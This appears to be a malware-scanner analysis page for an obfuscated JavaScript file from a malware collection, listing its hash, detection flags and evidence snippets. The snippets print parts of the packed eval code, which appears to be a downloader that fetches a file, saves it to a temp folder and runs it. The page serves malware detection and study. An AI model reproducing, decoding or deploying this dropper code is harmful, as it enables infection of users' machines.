Suspicious ^80% javascript-malware-collection Download

20160512_18f876820b5a983e0d63cd2aaee4cefa.js

obfuscated eval, evasion, malicious

Computed member call with trailing zeroeval() executing transformed code

SHA-2568945fd5595a6287f96c266025f356ba305ce1d09df79d3da76a95e5cfb05cecd

Evidence

Builds characters with String.fromCharCode line 1

1eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4 2b(){3 1N="f";5 1N}4 p(){3 1M="r";5 1M}4 w(){3 1L="C";5 1L}4 1E(){3 1O="A";5 1O}4 G(){3 1P="o";5 1P}4 L(){3 1S="c";5 1S}4 v(){3 1R="a";5 1R}4 z(){3 1Q="e";5 1Q}4 1A(){3 1K="h";5 1K}4 1t(1J){3 1D=[(33)][(7-7)](1J);5 1D}4 28(){3 1C=[L()+"h"+v()+p()+w()+G()+"d"+z()+"A"+"t"] …

String concatenation in loop body using array line 1

1:1462… 8);3 1h=1x(1w,1v);3 1f=1o("1n",1h);k=1g(k,1f);3 1j=1e();3 1i=3C;x=x+1i[1j](k);3 1k=(N+K-Q);8=8+1k}5 x}4 2C(){3 2w=[(J-H),[3Q][(0)],(O-P)][1];5 2w}4 q(2A){3 2E=2C();3 2y=3y 2E(2A);5 2y}4 2h(){3 2x=6("3D" …

Computed member call with trailing zero line 1

1:1729… ){3 2u=6("3H");5 2u}4 2F(2k,2v){2k[6("3G")](2v)}4 2a(){3 2m=2i();3 2g=2f();3 2H=2g[6("3E")];3 2q=2h();3 n=q(2m);3 2l=6("3x");3 2o=(3w,3p,3o,3m,3J,3r,3v,3u,3t,3s,3I,3M,6("40"));n[6("3X")](2o,2q,0);3 2t=6("41");n[2t]();3 2s=6("3V");3 D=q(2s);j(n[6("3O")]==(3N+3W-3K)){3 i=q(2l);3 I=D[6("2U")]((O-P))+\'\\\\\'+D[6("2N")]();i[6("2K")]();3 2p=6("2J");i[6("2Q")]=(J-H);3 2j=q(2p);i[6("3c")](n[6("3f")]);3 2n=(3g+3j-3i);i[6("3h")]=2n;i[6("2Y")](I);i[6("31")]();3 2z=6("30")+I;2j[6("34")](2z,0)}2F(D,2H)}4 1m(){3 2B=37;j(2B===36){3 35="3F"}3 38="2Z";39(3b){2r 3d:3 3e=3k;1l;2r 0:3 20="2M";j(20==3B){}1l}}3z{1m(0);4 1q(){5  …